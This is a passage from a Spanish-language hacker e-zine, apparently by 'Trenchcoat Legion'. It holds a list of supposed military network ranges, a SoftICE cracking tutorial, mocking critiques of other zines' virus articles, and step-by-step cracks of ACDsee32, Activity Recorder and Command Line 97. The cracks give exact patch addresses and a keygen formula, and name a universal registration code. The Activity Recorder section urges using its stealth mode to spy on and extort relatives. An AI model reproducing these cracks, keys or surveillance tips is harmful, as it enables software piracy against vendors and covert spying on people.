NET : 141.90.0.0 : DFN-WIN90 : NET : 141.91.0.0 : DFN-WIN91 :
NET : 141.92.0.0 : DFN-WIN92 : NET : 141.93.0.0 : DFN-WIN93 :
NET : 141.94.0.0 : DFN-WIN94 : NET : 141.95.0.0 : DFN-WIN95 :
NET : 141.96.0.0 : DFN-WIN96 : NET : 141.97.0.0 : DFN-WIN97 :
NET : 141.98.0.0 : DFN-WIN98 : NET : 141.99.0.0 : DFN-WIN99 :
NET : 188.1.0.0  : WIN-IP    : NET : 192.80.90.0 : WINDATA  :

+++++++++++++++

Scinet:
      Network de compartimiento de Informacion Sensitiva 

NET : 192.12.188.0 : BU-SCINET :

+++++++++++++++

Disnet:
      Network De defesa segura integrada. Compuesta Por SCINET, WINCS
      ([World Wide Military and Command Control System] Intercomputer
      Network Communication Subsystem), and Secretnet(WIN).

NET : 22.0.0.0 : DISNET :

------------------------------



Nota del Traductor : En realidad el texto resulta muy interesante y divertido
al leerlo pero al mismo tiempo muy inquietante. Y las preguntas que surgen son
numerosas :
                     
          -Que Browser Usa Fox Mulder ?
          -Los tipos que escribieron esto algun dia conseguiran vida social?
          -Cual sera el dominio de los sites extraterrestres ? .Ufo ?
          -Donde esta El Griton Cuando toda la humanidad lo necesita ???



         Traduced By Vil Roach / Trenchcoat Legion - Take us to your leadder.



_____________________________________________________________________________
__09_________________________________________________________________________

C|R|A|C|K|I|N|G  C|O|N  S|O|F|T|I|C|E by kAcImIrO

En el pasado tutorial vimos en terminos generales lo que era el cracking, con
un desensamblador. Ahora vamos a hacer lo mismo pero con el softice.

Introduccion

El SoftIce como muchos sabran y muchos no sabran es un debugger. Un debugger
es parecido a un desensamblador , pero la diferencia esta en que el debugger
sigue el codigo al mismo tiempo que es ejecutado.

Hay muchos debuggers, pero el SoftIce se ha vuelto muy famoso dentro del
mundo del cracking.

Primeros pasos

Se supondra que ya tienen instalado el softice, despues de instalado la
simple combinacion ctrl+d nos llevara a la ventanita del softice, ahi se ve
una parte con los valores de cada registro, en otra parte el codigo del pro-
grama y en otra parte esta el area de datos y finalmente el area de comandos.
(el ctrl+d se puede cambiar si le da la gana).

El softice usa un archivo de inicializacion que en windows es winice.dat.
Aqui hay opciones especiales de configuracion, el asignamiento de funciones a
ciertas teclas y la secuencia de comandos de inicializacion.

Muchas veces sucede que al hacer un Break point "bpx" sale un error "symbol
not defined" esto es porque en el winice.dat hay que indicar las librerias
que tienen estos simbolos, las lineas que cargan las librerias en el
winice.dat estan comentadas, o sea que solo es quitar unos ";" en :

;EXP=c:\windows\system\kernel32.dll
;EXP=c:\windows\system\user32.dll
;EXP=c:\windows\system\gdi32.dll

y listo.

Break Points

Esta la habilidad del softice que mas entra en juego. Se pueden colocar en di-
recciones de memoria, rangos de memoria, ejecucion de un programa y en accesos
a puertos.

Colocando Break points
BPM, BPMB, BPMW, BPMD son break points en accesos de memoria
sintaxis: BPM direccion   --> hay mas parametros pero asi es basicamente.

BPR en un rango de memoria
sintaxis: BPR direccion1 direccion2 --> tambien hay mas parametros opcionales

BPIO en accesos al puerto I/O
sintaxis: BPIO puerto

BPINT en una interrupcion
BPINT numerointerrupcion [ < AL | AH | AX >= valor]
ej: 21 ah=4c

BPX en ejecucion  --> Es el mas usado
bpx simbolo 
ej: bpx messageboxa

Se pueden colocar varios breakpoints al mismo tiempo y a cada uno se le va
asignando un numero empezando en cero (0).
Para manejar los break points hay unos comandos:

BD Desactiva break points ej: bd 0 -> desactiva el break point 0
BE Activa break points ej: be * -> activa todos los  break points
BL Lista break points 
BC Borra break points ej: bc 1 -> lo mismo

Otros comandos

R cambia el valor de registros y banderas
ej: r fl z ->cambia el valor del flag Z
    reax 01 ->cambia el valor de eax por 1

Map muestra los nombres, direcciones y tamaos de los componentes de la
memoria del sistema.

D, DB, DW, DD  muestra memoria
ej: d eax -> muestra el valor del registro eax.

E, EB, EW, ED edita memoria
ej: E 2345:0 "Hola",0  -> reemplaza el valor comenzando en 2345:0 por "hola"

INT? muestra ultima interrupcion

?  H muestra la ayuda

X salir

G va a una direccion

T instruccion por instruccion metiendose en las llamadas

P instruccion por instruccion y no se mete en las llamadas

FILE Cambia o muestra el codigo fuente actual

SS Busca en el codigo una cadena (texto)
ss numerolinea 'texto'
ej: ss 1 'pepe' -> Busca 'pepe' empezando en la linea numero 1

APLICADO AL CRACKING

Tenemos un programa que queremos crackear, lo primero que hacemos es buscar
la forma de entrar a la parte del codigo que tiene que ver con el registrado.
En el programa vamos a registrar que comunmente es un dialogo con una o dos
edit boxes (donde se escribe) y un par de botones. Un simple dialogo. 

Aqui lo que hacemos es poner un break point "bpx" (en ejecucion).
Las funciones mas comunes utilizadas en ese momento son:

GetDialogItemTextA
GetWindowTextA

Estas funciones cogen el texto que este en el edit box.

MessageBoxA

Mensaje.

Vamos a colocar break points con las primeras funciones. Entramos al softice,
entonces colocamos los breakpoints, escribimos cualquier cosa en el dialogo
de registrary miramos que pasa. Depronto aparecemos en el SoftIce. Hay que
presionar F11 para ver de donde viene la llamada. con ctrl+up y ctrl+dwn nos
movemos dentro del codigo. Como vimos antes con p vamos paso a paso. Suponga-
mos que el codigo es algo asi:

...
mov eax, [ebp+15] --> el nombre de nosotros la colocan en eax, ebp+15 es una
                  --> valor arbitrario.
push eax       --> lo pasan como parametro
call 004545d6  --> cualquier direccion, supuestamente generador de claves
...
push eax      --> la clave generada
call 004565f8  --> Aqui supuestamente compara las claves y de acuerdo al
               --> resultado da un valor a eax
test eax, eax
jne 0047d8f5  --> salta si eax=0 y no registra
...
--> registra

En un caso como ese, teniendo el poder del SoftIce podemos hacer varias cosas,
podemos entrar en el supuesto generador de claves y mirar si es una clave ge-
nerada o si tal vez en algun lugar compara nuestra clave con otra clave igual
para todas las copias. Si la clave es generada podemos estudiar como funciona
y programar uno (!!!). Si no la cosa es muy facil.

Podemos mirar en donde almacena la clave despues de generarla y simplemente
mirarla con el comando d (ej: d eax).

Tambien podemos entrar en la funcion que compara las claves y cambiar el va-
lor de retorno de la funcion (ej: reax 1).

Cuando el salto condicional es de acuerdo a las banderas entonces podemos
cambiar el valor de la bandera (flag):

...
jnz xxxxxxxxxx
...

:r fl z --> si z era falso pasa a verdadero y viceversa.

Listo, ese es el panorama general del cracking con softice.

comentarios? fuck you or just tell me.

           kacimiro - Trenchcoat Legion / theres no time to discriminate, hate
                                        every motherfucker thats in your way !

_____________________________________________________________________________
__10_________________________________________________________________________

          Aprendendo de la Elite

                          By

                              Vil Roach 


Generalmente nuestra vida es miserable y oscura, oscura porque debido a nues-
tra ignorancia no vemos la luz aunque la tengamos de frente, una luz que puede
iluminar nuestro obscuro camino y llevarnos a mundos utopicos y perfectos.
Por eso es que agradezco cada vez que me encuentro con un Hack3r Elite, una
de esas extraas personas cuyos conocimientos son tan profundos que incluso
refutan los dogmas ya establecidos. Y lo mejor es que con la proliferacion de
e-zines ultimemente, esta extraa clase de genio se ha venido multiplicando
para el beneficio de la vulgra prole.

En esta seccion queremos homenajear a tan grandes genios y mostrar como sus
conocimentos han cambiado la historia, y sin mas introducciones les presenta-
mos a el primero de ellos: 

------------------------------------------------------------------------------------------------

S_K, quien con su valioso articulo : Curso de ASM   S_K  de la Daemons Para-
dise, ha rectificado gran parte de la teoria de la computacion general, he
aqui ejemplos de su brillantez :


-Funcion: es un bit (??!!??!!?!?) escrito en hexadecimal. Cada funcion hace
 una cosa.
 Ejemplo: la funcion 9(???!?!?!???) imprime cadenas.

Que,que ???, un bit escrito en Hex, pues a mi mi papa me enseo que un bit es
1(uno) o 0(cero), y que por lo tanto es algo totalmente distinto a un numero
hexadecimal; La funcion 9 ???, este gran pendejo como que quiere hablar de
las funciones que tiene cada interrupcion, pero lo hace sin haber explicado
que es una interrupcion, o sea que para el principiante el numero 9(nueve)
sera de ahora en adelante una funcion y no un numero !!

------------------------------------------------------------------------------------------------

-Explicacion sobre la pila o stack: este es un registro(??!!) especial, es
del tamao del que sea el micro (32 bits en los pentium)

La pila es un solo registro ?!, no quera decir que es un area de memoria de-
terminada por 2(dos) registros, pues claro que no!, si este no sabe lo que es
la pila.

-----------------------------------------------------------------------------

 ---------------
 INSTRUCCION MOV
 ---------------
 Las instrucciones indican a la funcion que quieres utilizar lo que tiene que
 hacer.

 La primera es la mas sencilla pero tambien la que mas vamos a utilizar. Es
 la instruccion MOV.
 Esta, mete la funcion que le indiquemos en el registro que le digamos.
 Ejemplos:
 
 MOV AX,4F  ;metemos en el registro AX la funcion 4F

La instruccion MOV "mete la funcion que le indiquemos en el registro que le
digamos", no quera decir que mete el valor que nosotros queramos, sin impor-
tar si es una instruccion o un puntero?? O sea que mov solo sireve para meter
"funciones", me pregunto con que instruccion meteremos  un puntero en un re-
gistro?

-----------------------------------------------------------------------------

 Puntero: instruccion que seala a alguna parte del programa o a alguna
          direccion de memoria.

Ah no seor, tampoco abusemos, como asi que un puntero es una instruccion,
que acaso una instruccion no es MOV,ADD, o cosas asi. Definitivamente no en-
tiendo donde aprendio Asm este tipo, sera en "Asm Para Dummies By Microsoft
Press"

-----------------------------------------------------------------------------

------------
PILA o STACK
------------
Interesante apartado. La pila, como ya dije al principio, tiene la capacidad
de la que sea el microprocesador, usea, que si tu tienes un procesador de
32 bits la pila podra almacenar 32 bits, ni uno mas!!!

Pues si hermanito usted ya lo habia dicho antes, pero es que yo no creo en la
estupidez infinita y habia querido ignorar este comentario, como asi que en
la pila de un X86 solo caben 32 bits, si es asi digame que metodo super elite
uso usted en la rutina virica, que se supone escribio usted,

;guardamos en BP lo que introdujo la instruccion CALL, que es el tamao del
;programa. Luego le restamos al tamao del programa el propio virus y asi
;sabemos el tamao del programa original

                     
                     push ds   ;16 bits = 2 Byte
                     push es   ;16 bits = 2 Byte
                     push ax   ;16 bits = 2 Byte
                     push bx   ;16 bits = 2 Byte
                     push cx   ;16 bits = 2 Byte
                     push dx   ;16 bits = 2 Byte
                     push di   ;16 bits = 2 Byte
                     push si   ;16 bits = 2 Byte
                                          ------
                                          16 Bytes  
 
para meter 16 bytes en una pila a la que solo le caben 32 bits es decir 1/8
parte ? 

-----------------------------------------------------------------------------

Hay, S_k vos que pretendias escribiendo ese articulo, yo que tu me leia el
libro primero antes de hacer el articulo sobre el.
-----------------------------------------------------------------------------

A continuacion y continuando con la exquisita programacion de este articulo,
leeremo un par de frases celebres, de cierto articulo en la mas reciente
e-zine de suramerica : 0ri0n


02:. - [ Estudio Basico de Virus ]                     [P-Drok-Array] :.
                                             [p-drok-array@0ri0n.org] :.


Muchos de ustedes piensan que los virus no pueden ser escritos en Basic debido
a que esta limitado. Esto es falso.Basic tiene la capacidad de producir buenos
y efectivos Virus mientras  este  sea  correctamente usado. La combinacion  de
Ensamblador y Basic podria crear unos espectaculares virus.

Jajajajajajaj, hay que chistoso este mancito, primero dice que "Basic tiene
la capacidad de producir buenos y efectivos Virus", buenos y efectivos??,
basic de DOS??, lo dudo muchisimo ahora que depende del concepto de bueno que
tenga el autor de pronto bueno significa lento, gigante, no optimizado, medi-
ocre o cualquier termino relacionado con el Basic a traves de la historia ;
pero luego con lo que P-Drok-Arr..lo que sea, riza el rizo es con : "La com-
binacion  de Ensamblador y Basic podria crear unos espectaculares virus."
XDDDDDDD, que tipo tan descarado, metiendose con ensamblador, ja, mira
P-Drok-Arr..lo que seas si sos capaz de decirme una, UNA sola capacidad que
el basic le agregue o con la cual mejore el codigo de Asm,soy capaz de pe-
dirte perdon y rendirte pleitesia, que combinacion ni que vainas el Asm so-
lito es capaz de hacer 30 veces lo que hace el Basic.

-----------------------------------------------------------------------------

Basic es un gran lenguaje y a menudo las  persona piensan que es  un lenguaje
muy limitado  [Estupidos Pensamientos]  y  que  nunca  serviran para escribir
buenos  virus ... jejeje  les  voy  a echar un cuentico [el del gallo pelon].
En el a~o 1987 R. Burger creo este virus que podria  sobre-escribir  archivos
desde una shell de MSDOS se infectar  los archivos .EXE [Acuerdese que en ese
tiempo no existian antivirus tan inteligentes y no existia el WIndoZe].

Bueno, aqui  los  dejo con este -=BICHITO=- ... ah se me olvidaba, este virus
estuvo  por  mas  de  tres [3] a~os  vigentes  y no le habian encontrado cura
[hehehe fucking Norton].

Huyy que impresionante, definitivamente Basic sirve para hacer buenos virus,
fijate que hacer un virus que sobrescriba a sus victimnas es muy elite, tan
elite que la mayoria de Virus-Makers se niegan a ensear esta tecnica desde
Asm en sus cursos de principiantes, perdona lo que dije del Basic definiti-
vamente es muy,muy,muy Elite. Y como queres que tenga cura un virus que so-
brescribe los archivos, fucking Norton, fucking los pobres usuarios que se
les destruyeron los archivos y toda gracias a que al Elite Virus-Maker no le
dio la gana o no pudo hacer un virus appending.

-----------------------------------------------------------------------------

-= [ Virus Batch ] =-

La persona que diga que no es  efectivo un virus  de tipo BATCH [.bat],  esta  
bien  equivocado,  ya  que  es  uno  de  los  mas  poderosos [porque  trabaja
directamente con la shell del M$DOZ y usa el DEBUG && EDLIN].

Solo comento que es increible la potencia y el poder que nos da el " trabajar
directamente con la shell del M$DOZ y usa el DEBUG && EDLIN]." sera que existe
algun otro lenguaje mas elite que el bat y que nos permita trabajar con la
shell de DOS?, El Basic tal vez ?? ;)

-----------------------------------------------------------------------------

Por cierto a primera vista el tamao de la e-zine es muy bueno (257 Kb), pero
cuando le sacamos un archivo UUEncode SIN comprimir y la utils UUE queda de
131 KB, solo lo digo por que me parecio muy curioso ;)

-----------------------------------------------------------------------------

Ahora continuamos con unos articulos algo viejos, pero muy jugosos de la fa-
mosa revista Ignition:

==Revista IGNiTiON==
Ejemplar Nmero Cuatro
Mxico, D. F., 23 de Octubre de 1998.
VIRUS
por: 12r43lOverdriv3
Comentarios: 12r@antisocial.com



A causa de tantos mitos que rodean a los virus informticos, muchas personas
me han preguntado que si un virus puede quemar la computadora, que si un vi-
rus puede daar el monitor entre muchas otras cosas. El fin de este articulo
es poner en claro que daos reales pueden hacer los virus y algunos ejemplos
de ellos. 

-El articulo comoenza bien, parece que fuera a desmitificar el tema de los
virus, pero :

* Redefinir teclas. 
Cada vez que nosotros apretamos un tecla, se enva informacin al sistema o-
perativo, de que es lo que debe de hacer al ser pulsada esta tecla, un virus
puede redefinir  la funcin de esta tecla, es decir si nosotros presionamos
la tecla "S", puede  suceder que se ejecute "ESC" y viceversa. 

-Estamos hablando de virus o De Bombas ANSI??, por que son dos cosas total-
mente distintas!

* Bloquear el teclado. 
Si el virus borra la definicin del teclado, adis al teclado!. 

-Sin comentarios.

* Daar fsicamente alguna parte del hardware de la computadora. 
Ya que el lenguaje ensamblador es muy potente, se pueden llamar a subrutinas
para quemar el microprocesador o el disco duro. Esto en un virus es mortal. 

-Esto si es una completa Marranada !!. Mi unico comentario es que quisiera
saber cuales son las maravillosas rutinas en Asm que nos permiten quemar el
micro (XDDDD), o el disco duro, y por que el seor overdrive se las deja guar-
dadas solo para el y no las comparte con el resto de Virus-Makers, sera por
que no existen.

Se supone que los "Hackers" son diferentes al resto de la escoria del mundo,
se supone que estan un nivel encima del populacho que uas windows, y que teme
una infeccion de virus por el aire; pero que podemos esperar si un "represen-
tante" del underground se dedica a esparcir esta clase de estupideces que lo
uni que haran sera asutar a los usarios comunes.

-----------------------------------------------------------------------------

==Revista IGNiTiON==
Ejemplar Nmero Cinco
Mxico, D. F., 9 de Enero de 2000.
CDIGO VB CALCULADORA
por: alt3kx_H3z
Comentarios: altekxh@usa.net


Aki tenemos parte de un Code list ke realice sobre VBasic 5.0 para el funcio-
namiento de una calculadora Basica este C0d3 list se divide en 2 partes , una
es parte del menu pricipal (esta parte la puedes omitir ) y posterirmente te-
nemos la del funcionamiento general del la calculadora.

-Huy huy huy, que nick tan elite (C0d3 list), y remata con algo igual de eli-
te, una calc en Visual Basic. Ya me lo imagino en el IRC: Fuck Microsoft! Li-
nux Rul3z !, y usando VB.Hay,hay,hay.

Y por cierto, como puede una calculadora usar las opciones Guardar y  Guardar
Como..., sera para guardar el resultado de 33137 + 666, y no tener que escri-
bir todos eso numeritos cada vez que queramos hacer la suma ??

-----------------------------------------------------------------------------

Otra joya, esta vez del e-zine Neomenia, y aunque el articulo demuestra un
mejor criterio tiene un error que no se puede perdonar :

 007. Sobre virus y otros bichejos.......................por Kapit n Sponja

...

  ...    aprovechan toda la capacidad de informacin de la Red para infec
  tar a traves del e-mail, o con un virus tipo "worm", que son mas sofisti-
  cados y menos conocidos, lo que les da opcion de "vivir" mas tiempo antes
  de ser reconocidos

Hay Esponja ibas bien hasta que decis esto, como asi que un virus tipo Worm,
si los dos son conceptos totalmente independientes, es como decir un futbol
tipo baloncesto!, en ningun caso un concepto engloba a el otro, y que es eso
de que los worms son mas sofisticados por naturaleza, no eso depende del nivel
del programador y de por si los virus son mas sofisticados que los worms y por
ultimo los worms generalmente "viven" menos tiempo ya que estos presentan su
codigo original tal como lo concibio su creador haciendolos mas facil de es-
tudiar y ademas los worms necesitan la intervencion del usuario, mala suerte
Bob Esponja :(

   Y Por el momento hasta aqui llega Aprendiendo con la Elite By Vil Roach 

  Another Fine Production of Trenchcoat Legion - The lamer's worst nightmare!

_____________________________________________________________________________
__11_________________________________________________________________________
XxXxXxXxXxXx
x Cracks : X 
XxXxXxXxXxXx

-----------------------------------------------------------------------------
--10.1-----------------------------------------------------------------------

Cracking ACDsee32 

        By 

         Vil Roach

Bienvenidos a otro crack, por cortesia de trenchcoat diaries !

El invitado de esta noche tiene una particularidad muy especial , resulta que
al pronunciar el nombre de este programa, suena muy similar al de un grupo de
metal muy famosos y polemico de los 70s (AC/DC), interesante no creen ?

Lo primero que hacemos es desensamblar el ejecutable , luego provedemos a bus-
car la palabra match la cual nos sale al equivocarnos en el serial , y encon-
tramos lo siguiente :

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407ACA(C)  ;     !!!!!!!!!!!!!!!!!!!!!!
|

* Possible StringData Ref from Data Obj ->"ACDSee 32"
                                  |
:00407B37 8B15A4E24B00            mov edx, dword ptr [004BE2A4]
:00407B3D 6A00                    push 00000000
:00407B3F 52                      push edx

* Possible StringData Ref from Data Obj ->"Your name and registration code "
                                        ->"do not match."
                                  |
:00407B40 68E0E44B00              push 004BE4E0
:00407B45 56                      push esi

* Reference To: USER32.MessageBoxA, Ord:0195h
                                  |
:00407B46 FF15B8A34A00            Call dword ptr [004AA3B8]


Asi que inmediatamente nos dirigimos a la parte donde se decide si sacar la
MessageBox o no :

:00407AB6 8D44247C                lea eax, dword ptr [esp+7C]
:00407ABA 8D4C243C                lea ecx, dword ptr [esp+3C]
:00407ABE 50                      push eax
:00407ABF 51                      push ecx
:00407AC0 E82BF8FFFF              call 004072F0          ;    !!!!!!!!!!!!!!!
:00407AC5 83C408                  add esp, 00000008
:00407AC8 85C0                    test eax, eax
:00407ACA 7E6B                    jle 00407B37

Analizando cuidadosamente, vemos que la decision se toma en base al valor que
devuelve una rutina a la cual sospechosamante se le pasan dos parametros
(Name/Code??), asi que lo mas probable es que esta sea la funcion que debemos
"arreglar"
 
Esto es la funcion (004072F0) :

* Referenced by a CALL at Addresses:
|:0040742A   , :00407AC0   
|
:004072F0 56                      push esi
:004072F1 8B742408                mov esi, dword ptr [esp+08]
:004072F5 56                      push esi
:004072F6 C70540E04B0000000000    mov dword ptr [004BE040], 00000000
:00407300 E82B000000              call 00407330  ; !!!!!!!
:00407305 83C404                  add esp, 00000004
:00407308 85C0                    test eax, eax  ;!!!!!!!!!!
:0040730A 7502                    jne 0040730E ;!!!!!!!!!!!!!!!!!!!1
:0040730C 5E                      pop esi
:0040730D C3                      ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040730A(C)
|
:0040730E 8B44240C                mov eax, dword ptr [esp+0C]
:00407312 50                      push eax
:00407313 56                      push esi

* Possible StringData Ref from Data Obj ->"-294378973"
                                  |
:00407314 6850E44B00              push 004BE450
:00407319 E8F2BB0300              call 00442F10
:0040731E 83C40C                  add esp, 0000000C
:00407321 F7D8                    neg eax
:00407323 1BC0                    sbb eax, eax
:00407325 5E                      pop esi
:00407326 F7D8                    neg eax
:00407328 A340E04B00              mov dword ptr [004BE040], eax
:0040732D C3                      ret

Aqui queda claro que hacer, simplemente la funcion llama otra funcion , y en
base al valor que esta devuelve , el valor de EAX queda positivo o negativo,
asi que simplemente cambiamos el condicional y listo siempre devuelve el vaor
"bueno". El unico problema es que la funcion no se llama si no existen los
valores en el registro asi que tambien cambiamos el condicional que llama a
la messagebox  (o sea este :

:00407AB6 8D44247C                lea eax, dword ptr [esp+7C]
:00407ABA 8D4C243C                lea ecx, dword ptr [esp+3C]
:00407ABE 50                      push eax
:00407ABF 51                      push ecx
:00407AC0 E82BF8FFFF              call 004072F0         
:00407AC5 83C408                  add esp, 00000008
:00407AC8 85C0                    test eax, eax
:00407ACA 7E6B                    jle 00407B37 )

por jne y ya recibe cualquier serial que le pongamos y lo acepatar cada vez
que lo lea del registro , limpio y rapido , como deben ser todos los cracks .


                                                  Vil Roach/Trenchcoat Legion  

-----------------------------------------------------------------------------
--10.2-----------------------------------------------------------------------

Crack Activity Recorder


                 By 

                 
                  Vil Roach

Activity Recorder es un programa que puede resultarnos muy util en ciertos
momentos, su funcion consiste basicamente en guardar en un arhivo de texto
(.log), todas los programas que se ejecutan en el eqipo, pero su verdadero
potencial esta en un modo stealth, el cual permite que el programa se ejecute
sin ser notado por el usuario, permitiendonos espiar a nuetra familia, o a
cualquiera que queramos , de esta forma podemos extorsionar a nuestro padre
debido a su particular interes por ciertas paginas del WWW (XXX), o extor-
sionar a pepito el hacker, por que esta leyendo el correo (Hotmail) de Jose-
sito el otro hacker .El gran problema es que cada que ejecutamos el prog.
aparece una maldita Nag-Screen, la cual por suspuesto manda para la puta
mierda al modo steath, asi que procedemos a registrar el programa.

Luego de desensamblar el progarama buscamos referncia a la cadena del
MessageBox que nos dice que nos equivocamos y encontramos lo siguiente :

:0043C139 E836380000              call 0043F974
:0043C13E 84C0                    test al, al
:0043C140 740C                    je 0043C14E ; !!!!! (Offset = 243008)257513
:0043C142 A19C164400              mov eax, dword ptr [0044169C]
:0043C147 E8E8FBFFFF              call 0043BD34
:0043C14C EB15                    jmp 0043C163

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043C140(C)
|
:0043C14E 6A00                    push 00000000
:0043C150 668B0D64C14300          mov cx, word ptr [0043C164]
:0043C157 33D2                    xor edx, edx

* Possible StringData Ref from Code Obj ->"Incorrect or incomplete information"
                                  |
:0043C159 B870C14300              mov eax, 0043C170
:0043C15E E87947FFFF              call 004308DC

Inmediatamente cambiamos el salto condicional, y pasa lo que esperabamos,
mientras tenemos abierto el programa estamos registrados, pero cuando lo
reiniciamos, Unregistered , asi que este programa es como cualquier programa
semi-decente, que vuelve a chequear el codigo varias veces , asi que lo que
debemos hacer ahora es crackear la funcion de chequeo.

Miramos la funcion de cheqeo (
:0043C139 E836380000              call 0043F974
                             )

* Referenced by a CALL at Addresses:
|:0043C139   , :0043CAC0   , :0043F005   
|
:0043F974 55                      push ebp
:0043F975 8BEC                    mov ebp, esp
:0043F977 6A00                    push 00000000
:0043F979 6A00                    push 00000000
:0043F97B 6A00                    push 00000000
:0043F97D 53                      push ebx
:0043F97E 56                      push esi
:0043F97F 57                      push edi
:0043F980 8BD8                    mov ebx, eax
:0043F982 33C0                    xor eax, eax
:0043F984 55                      push ebp
:  ...

:0043F9E1 E8C661FCFF              call 00405BAC  ;!!!!!!
:0043F9E6 85C0                    test eax, eax
:0043F9E8 755B                    jne 0043FA45
:0043F9EA 8D45FC                  lea eax, dword ptr [ebp-04]
:0043F9ED 50                      push eax
:0043F9EE 8D55F4                  lea edx, dword ptr [ebp-0C]
:0043F9F1 8B83C0010000            mov eax, dword ptr [ebx+000001C0]
:0043F9F7 E8843EFDFF              call 00413880
:0043F9FC 8B45F4                  mov eax, dword ptr [ebp-0C]

Y entre mucho ocdigo vemos esa funcion de la cual depende un condiconal que
salta al ret asi que decidimos inpeccionarla :

* Referenced by a CALL at Addresses:
|:0043BDF0   , :0043F9E1   , :0043FA2C   
|
:00405BAC 56                      push esi
:00405BAD 57                      push edi
:00405BAE 89C6                    mov esi, eax
:00405BB0 89D7                    mov edi, edx
:00405BB2 09C0                    or eax, eax
:00405BB4 7403                    je 00405BB9   ; !!!!!!!!1
:00405BB6 8B40FC                  mov eax, dword ptr [eax-04]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405BB4(C)
|
:00405BB9 09D2                    or edx, edx
:00405BBB 7403                    je 00405BC0
:00405BBD 8B52FC                  mov edx, dword ptr [edx-04]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405BBB(C)
|
:00405BC0 89C1                    mov ecx, eax
:00405BC2 39D1                    cmp ecx, edx
:00405BC4 7602                    jbe 00405BC8
:00405BC6 89D1                    mov ecx, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405BC4(C)
|
:00405BC8 39C9                    cmp ecx, ecx
:00405BCA F3                      repz
:00405BCB A6                      cmpsb
:00405BCC 7408                    je 00405BD6
:00405BCE 0FB646FF                movzx eax, byte ptr [esi-01]
:00405BD2 0FB657FF                movzx edx, byte ptr [edi-01]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405BCC(C)
|
:00405BD6 29D0                    sub eax, edx
:00405BD8 5F                      pop edi
:00405BD9 5E                      pop esi
:00405BDA C3                      ret

EL primer condiconal es el que nos interesa ya que Eax queda positivo
(or eax,eax) y no se vuelve a tocar asi que lo cambiamos (la segunda vez que
aparece en el hexeditor) y Kaboom !, la primera vez acepta cualquier serial
y lo graba en el registro y cuando lo vovemos a ejecutar aparece registrado!,
Limpio Y Claro , tal como debe ser .


                                               Vil Roach / Trenchcoat Legion

------------------------------------------------------------------------------
--10.3----------------------------------------------------------------------

Crack Command Line 97 

              By

               Vil Roach 

El programa que vamos a crackear hoy , en realidad resulta algo util, mas que
todo para facilitar la multitarea; en si el programa consiste en una caja de
texto a la cual se le pueden introducir comandos en formato de texto, como al
antiguo DOS, su pricncipal utilidada consiste en su capacidad de manejar ar-
chivos rapidamente sin necesidad de abrir el Explorer; siendo no mas la intro-
duccion procedemos a desensamblar el programa y buscar la rutina de las
MessageBox :

Y vemso que este programa es algo particular ya que lo que hace es chequea el
name/code sin llamar ninguna funcion, si no que lo hace ahi mismo , lo que
facilita el cracking.

O lo dificulta, ya que si cambiamos el condicional, se registra pero solo por
esa sesion y como no hay una funcion determinada para crackear, debemos
crackear varias partes, asi que porque no intentamos hacer un KeyGen!; pues
vamos a analizar la funcion paso a paso y ver que sale :

| Nota del Newbie : Un keygen es un programa que puede calcular numeros de
registracion en base   a ciertos parametro de la misma forma que lo hace el
programa original .                     |

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402534(C)    ; Esta funcion se llama cuando presionamos el boton Register 
|
:00402547 8B74240C     mov esi, dword ptr [esp+0C]
:0040254B 6A1E         push 0000001E  ; # de caracteres Max.
:0040254D 68300B4100   push 00410B30  ; Buffer donde guardamos el Name
:00402552 68F0030000   push 000003F0  ; identificador del TextBox "Name"
:00402557 56           push esi

* Reference To: USER32.GetDlgItemTextA, Ord:00EDh ; Esta funcion obtiene el Name 
                                  |
:00402558 FF1550234100 Call dword ptr [00412350]
:0040255E 6A00         push 00000000
:00402560 BF300B4100   mov edi, 00410B30   ; Ponemos en EDI el "Name"
:00402565 6A00         push 00000000
:00402567 68FC030000   push 000003FC  ; identificador del TextBox "Code"
:0040256C 56           push esi

* Reference To: USER32.GetDlgItemInt, Ord:00ECh ;Esta funcion obtiene El Code 
                                  |
:0040256D FF1518234100 Call dword ptr [00412318]
:00402573 B9FFFFFFFF   mov ecx, FFFFFFFF
:00402578 A354A54000   mov dword ptr [0040A554], eax ;Guarda el "Code" en [0040A554]
:0040257D 2BC0         sub eax, eax   ; EAX = 0 
:0040257F F2           repnz  ;Repeat If No Zero(repite la instruccion mien-
                              ;tras la Flag Z no este seteada (Que no sea cero)
:00402580 AE                      scasb  ;Le resta un (1) byte a EDI , modi-
                                         ;ficando las flags, o sea que cuando
                                         ;sea cero , sera ECX = ffffff - # de 
                                         ;bytes  en "Name"
:00402581 F7D1                    not ecx ; ECX = # de bytes en "Name"
:00402583 49                      dec ecx ; ECX = ECX - 1
:00402584 0FBE05300B4100          movsx eax, byte ptr [00410B30] ;mueve "Name" a Eax
:0040258B 0FAFC8                  imul ecx, eax ; # de bytes en "Name" = 1er Digito en "Name"
:0040258E C1E10A                  shl ecx, 0A ; Ecx = Ecx << 10
:00402591 81C1CCF80200            add ecx, 0002F8CC ; Ecx = Ecx + 0002F8CC
:00402597 890D50A54000            mov dword ptr [0040A550], ecx ; Guarda ECX 
:0040259D 390D54A54000            cmp dword ptr [0040A554], ecx ; ECX = "Code"
:004025A3 7431                    je 004025D6  ; "Code" Esta Bueno !!
:004025A5 813D54A54000CADE6103    cmp dword ptr [0040A554], 0361DECA ; 0361DECA Es un "Code" 
                                                                     ; Universal
:004025AF 7425                    je 004025D6 
:004025B1 6A30                    push 00000030

* Possible StringData Ref from Data Obj ->"REGISTRATION CODE ERROR"
                                  |
:004025B3 6874934000              push 00409374

* Possible StringData Ref from Data Obj ->"Sorry, that is an invalid registration "
                                        ->"code"
                                  |
:004025B8 6848934000              push 00409348
:004025BD 56                      push esi

* Reference To: USER32.MessageBoxA, Ord:0188h
                                  |
:004025BE FF1508234100            Call dword ptr [00412308]
:004025C4 B801000000              mov eax, 00000001
:004025C9 5F                      pop edi
:004025CA C7054090400000000000    mov dword ptr [00409040], 00000000
:004025D4 5E                      pop esi
:004025D5 C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004025A3(C), :004025AF(C)
|
:004025D6 C7054090400001000000    mov dword ptr [00409040], 00000001
